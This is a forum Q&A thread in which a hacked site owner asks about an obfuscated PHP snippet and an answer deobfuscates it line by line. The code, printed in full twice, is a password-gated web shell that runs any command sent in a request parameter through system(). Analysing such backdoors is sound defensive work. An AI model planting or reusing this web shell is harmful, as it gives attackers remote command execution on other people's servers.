My website got hacked - what does this code do?

Question

Someone hacked my site and included this code. Could someone explain what it does?

I've reformatted the spacing for better clarity. I've tried running the code but it looks like all it does is return an md5 hash. Is this harmless?

<? 

$GLOBALS['_131068239_']=Array(
    base64_decode('bWQ' .'1'),
    base64_decode('' .'dXJsZGV' .'jb' .'2Rl'),
    base64_decode('dX' .'JsZGVjb2Rl'),
    base64_decode('c3lz' .'dGVt')); 
?>

<? function 
     _787708145($i)
        {
            $a=Array(
                'MmNhZjY5MTdjYTNkOWEzYTg1ZDI2MDI5ZWQ2MjNiMWE=',
                'cA==',
                'cw==',
                '');
            return base64_decode($a[$i]);
        } 
?>

<?php 
    $_0=_787708145(0);

    $_1=$GLOBALS['_131068239_'][0]($GLOBALS['_131068239_'][1]($_REQUEST[_787708145(1)]));

    if($_1!=$_0)exit;

    $_2=$GLOBALS['_131068239_'][2]($_REQUEST[_787708145(2)]);

    if($_2==_787708145(3))exit;

    $GLOBALS['_131068239_'][3]($_2);exit; 
?>

Answer 1

Answer inline in the code comments below.
In short the script allows a shell to be either written or uploaded to your server.

Later edit: definitely not harmless, burn it with fire.

<?php 

$GLOBALS['_131068239_']=Array(
    base64_decode('bWQ' .'1'), // md5 - php function
    base64_decode('' .'dXJsZGV' .'jb' .'2Rl'), // urldecode - php function
    base64_decode('dX' .'JsZGVjb2Rl'), //urldecode - php function
    base64_decode('c3lz' .'dGVt')); //system - php function


function _787708145($i)
        {
            $a=Array(
                'MmNhZjY5MTdjYTNkOWEzYTg1ZDI2MDI5ZWQ2MjNiMWE=',
                'cA==',
                'cw==',
                '');
            return base64_decode($a[$i]);
        } 

$_0=_787708145(0); // md5 hash 2caf6917ca3d9a3a85d26029ed623b1a

$_1=$GLOBALS['_131068239_'][0]($GLOBALS['_131068239_'][1]($_REQUEST[_787708145(1)]));
// this is a function call md5(urldecode($_REQUEST[p]))
// this script is passed an url as a get or post parameter and getting md5 encoded

if($_1!=$_0)exit; // the md5 hash is compared here with the hash above

$_2=$GLOBALS['_131068239_'][2]($_REQUEST[_787708145(2)]); 
// another function call, urldecode($_REQUEST[s])
// another parameter is passed

if($_2==_787708145(3))exit; // if the urldecode above == blank then exit

$GLOBALS['_131068239_'][3]($_2); 
// execute system function with the "s" parameter, system(s)
// basically writing a shell on your server here

exit; 
// job done, exit :)